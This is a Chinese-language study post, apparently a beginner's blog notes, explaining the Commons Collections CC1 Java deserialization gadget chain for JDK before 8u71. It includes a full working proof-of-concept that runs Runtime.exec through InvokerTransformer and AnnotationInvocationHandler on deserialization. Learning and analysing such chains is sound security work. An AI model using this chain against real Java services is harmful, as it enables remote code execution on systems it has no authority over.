[Java反序列化]JavaCC链学习(8u71前)

文章目录

• ​​写在前面​​
• ​​前置​​

• ​​Transformer​​
• ​​TransformedMap​​
• ​​ChainedTransformer​​
• ​​InvokerTransformer​​
• ​​ConstantTransformer​​

• ​​CC链分析​​
• ​​参考链接​​

写在前面

仅仅只是前置知识，感谢P神，让我接触到了新的东西，下面是P神的知识星球https://govuln.com/?page=4

前置

要了解这个链子，必须要知道下面几个Transformer

Transformer

能看到这是一个接口，有一个待实现的方法​​Transformer​​，表面意思我们理解为执行转变的方法

​​ConstantTransformer​​​，​​invokerTransformer​​​，​​ChainedTransformer​​​，​​TransformedMap​​都实现了Transformer接口

TransformedMap

在网上直接百度这个看到的最多的就是反序列化，可见其对反序列化的利用多么重要；​​TransformedMap​​​⽤于对Java标准数据结构Map做⼀个修饰，被修饰过的Map在添加新的元素时，将可以执⾏⼀个回调(⼀个实现​​Transformer​​​接⼝的类)，而当​​TransformedMap​​​对象执行​​setValue​​​方法时会调用​​valueTransformer​​​的​​transform​​​方法，因此，如果传入的​​valueTransformer​​​是​​ChainedTransformer​​的对象，不就可以造成恶意代码执行了？当然这个我们马上说

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类，它的作⽤是前⼀个回调返回的结果，作为后⼀个回调的参数传⼊

InvokerTransformer

构造函数接收了三个参数

我们接下来再去看看其​​transform​​方法，不难看出是利用反射去调用方法

ConstantTransformer

在构造函数的时候传⼊⼀个对象，并在调用​​transform​​将这个对象返回

CC链分析

首先是最上方的

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

分析这里的调用过程，我们知道​​ConstantTransformer​​​会直接返回传入的对象，而对于​​InvokerTransformer​​来说，不想往上翻，再把代码贴一遍，

最终为

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class kkk {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

通过​​TransformedMap.decorate​​​的修饰。之后在调用​​setValue​​​设置值的时候就会触发​​TransformedMap​​​里注册的​​Transform​​​方法，关键是在于这个类就是 ​​sun.reflect.annotation.AnnotationInvocationHandler​​​ ，我们查看它的​​readObject​​​ 里面调用了​​setValue​​（8u71以前版本）

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
                }
            }
        }

而​​sun.reflect.annotation.AnnotationInvocationHandler​​​是在​​JDK​​​内部的类，不能直接实例化。我使用反射获取到了它的构造方法，并将其设置成外部可见的，再调用就可以实例化了。但是我不清楚为什么要使用​​Retention.class​​，看网上对这个的介绍是

Retention(保留)注解说明,这种类型的注解会被保留到那个阶段. 有三个值:
1.RetentionPolicy.SOURCE —— 这种类型的Annotations只在源代码级别保留,编译时就会被忽略
2.RetentionPolicy.CLASS —— 这种类型的Annotations编译时被保留,在class文件中存在,但JVM将会忽略
3.RetentionPolicy.RUNTIME —— 这种类型的Annotations将被JVM保留,所以他们能在运行时被JVM或其他使用反射机制的代码所读取和使用.

看了P神笔记才知道还有一个需要注意的一点是​​var7​​​不能为​​null​​，如何满足这个条件

sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须为Annotation的子类，并且其中必须有一个方法，假设为X
被TransformedMap修饰的Map当中必须有键名为X的元素

不过，感觉这个链子不太好利用，这个版本似乎没多少人用，作为初学者的我来说却很好！！！继续加油！！！

参考链接

​​https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/​​​​

​​https://www.sohu.com/a/199696927_354899​​​ ht
https://govuln.com/?page=4